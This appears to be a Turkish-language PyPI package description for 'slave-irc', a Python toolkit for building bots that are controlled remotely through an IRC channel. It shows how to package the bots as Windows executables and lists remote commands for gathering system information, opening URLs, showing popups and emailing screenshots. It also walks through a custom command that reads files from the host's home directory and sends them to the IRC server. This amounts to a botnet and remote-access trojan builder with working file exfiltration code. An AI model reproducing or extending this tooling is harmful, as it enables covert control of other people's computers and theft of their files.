Package: slave-irc
SLAVESlave, Python ile yazılmış özelleştirilebilir bot oluşturmaya yarayan bir yazılımdır.IRCprotokolü üzerinden, yazılan botlar ile haberleşir.YüklemePip ile kurulum$pipinstallslave-ircLocal kurulum$gitclonehttps://github.com/bufgix/slave
$cdslave
$pythonsetup.pyinstallSlave, gerek executable dosya oluşturmada gerekse bağımlıklıları kurmadapipenvi kullanır.pipenvhakkında daha fazla bilgiyeburadanulaşabilirsiniz.KullanımBasit bot oluşturma# basic_bot.pyfromslave.lib.botimportBotV2config={'host':'chat.freenode.net','port':6667,'channel':"#slavebotpool666",'boss_name':'boss666','bot_prefix':"SLAVEBOT"}BotV2.read_config_from_dict(config)BotV2.start()configşunları içermelidirKeyValuehostIRC server (varsayılanchat.freenode.net)portIRC server portu (varsayılan6667)channelBağlanılacak kanal ismi. (varsayılan#slavebotpool666)boss_nameBotları yönetecek kullanıcın ismi (varsayılanboss666)bot_prefixBot ön eki (varsayılanSLAVEBOT)Çalıştırılabilir dosya oluşturmaSlave, direkt olarak çalıştırabilir dosya oluşturmanıza olanak sağlar. Bunu yaparlenPyInstallerkullanır.Yukarıda yazdığımız botu çalıştırılabilir dosya yapmak için:$python-mslavebasic_bot.py[i]Source:C:\Users\user\your_bot\basic_bot.py[i]Creatingexecutablefile...[*]Createdexecutablefile.CheckC:\Users\user\path\your_bot\distOluşandist/dizinini altındabasic_bot.exedosyası artık kullanıma hazır.basic_bot.exeyi çalıştırdıktan sonra 5-10 saniye içindeconfigde belirlediğiniz şekilde IRC'ye bağlanır.Buradan sonraconfigde belirlediğinizbos_nameile aynı olarak IRC server ve channel'e girin. Ardından botlarınıza emir vermeye başlayabilirsiniz.Nasıl komut vereceksinizSlave botlarına emir vermek için$ön eki getirilir.$info bfr24s$visit bfr24s https://google.comgibi. Komuttan sonraki ilk parametre genelde vereceğiniz botun idsini alır. Eğer bütün botlara bu komutu vermek istiyorsanızbot_idyerine/allyazabilirsiniz.$visit /all https://google.comBOtV2nin sağladığı komutlar ve kullanımları aşağıdaki gibidirCommandDescSyntaxquitKill bot$quit [/all | <bot_id>]infoInformation of bot machine$info [/all | <bot_id>]messageMessage show with tkinter$message [/all | <bot_id>] <message> <msec>visitOpen url with webbroser$visit [/all | <bot_id>] <url>screenshotTake sceenshot and send your email(Only Gmail)$screenshot [/all | <bot_id>] <email> <password>helpHelp text of command$help <bot_id> <cmd>Botlarınızı her yerden yönetebilirsinizWeb:KiwiAndroid:AndroidIRCIOS:MutterNasıl kendi komutlarımı yazarım ?Slave, kendi özel botunuzu yazmanızı sağlar. Bunu yapmak içinBotsınıfının@registerdecelerator'unu kullanmanız gerekir.Şimdi kendimiz bir komut yazalım. Yazacağımız komut argüman olarak verdiğimiz dosya ismini okuyup içindekileri servera göndersin. Komutun söz dizimi şöyle olsun.$read [/all | <bot_id>] <file_name># bot_custom.pyfromslave.lib.botsimportBotBasicconfig={'host':'chat.freenode.net','port':6667,'channel':"#slavebotpool666",'boss_name':'boss666','bot_prefix':"SLAVEBOT"}BotBasic.read_config_from_dict(config)BotBasic.bot_type="MyCustomBot"@BotBasic.register('read',all=True,on_connect=False,help_text="Read from file $read [/all | <bot_id>] <file_name>")defread_file(bot,args):passBotBasic.start()Görüldügü gibiregister()ilk paramtere olarak komut dizisini alır.all=keywordu,<bot_id>yerine/allkullanmamızı ve bütün botlarda aynı anda komutumuzun çalıştırılmasını sağlar.on_connect=Bu, eğer True ise yazdığınız komut servera bağlandığı anda çalışır.help_text=ise komutumuzun imzasıdır. Burada komutun nasıl kullanılacağı hakkında bilgi verebilirsiniz.Komut fonksyonu iki parametre almak zorundadır. Birinci parametre olarakBotobjesi alır. Bu server ile bot arasında iletişimi sağlar.bot.send_text(text: str) -> NoneServera text mesajı göndermeyi sağlar.bot.exit_server() -> NoneBotun serverdan ayrılmasını sağlarbot.send_command_help() -> NoneVar olan komutları ve bilgilerini servera gönderir.İkinci argüman olan args ise argüman listesini alır.şimdi komutumuzu yazmaya devam edelimfrompathlibimportPath...@BotBasic.register('read',all=True,on_connect=False,help_text="Read from file $read [/all | <bot_id>] <file_name>")defread_file(bot,args):path=str(Path(f"~/{args[1]}").expanduser())withopen(path,'r')asf:bot.send_text(f.read())...Her şey hazır. Şimdi test etmek içinbot_custom.pyyi çalıştırabiliriz.$pythonbot_custom.pyfile.txtIm secret
Don't read meTabi dosyayı okumdadan önce var olup olmadığını kontrol etmek önemlidir. Eğer var olmayan bir dosyaya erişmeye çalışırsanız bot, serverla haberleşmeyi kesecektir.Yukardaki örnekte daha az komut olduğunu görmüşsünüzdür. Bunun nedeniBotBasicsınıfınınBotV2ye göre daha az komut içermesi. Hem kendi komutlarınızı hem deBotV2deki standart komutları birleştirmek içinfromslave.lib.botsimportBotBasic,BotV2...BotBasic.use_other_bot_commands(BotV2)BotBasic.start()Botunuzun hazır olduğunu düşünüyorsanız artıkçalıştırılabilir dosyayapabilirsiniz.LICENSE:MIT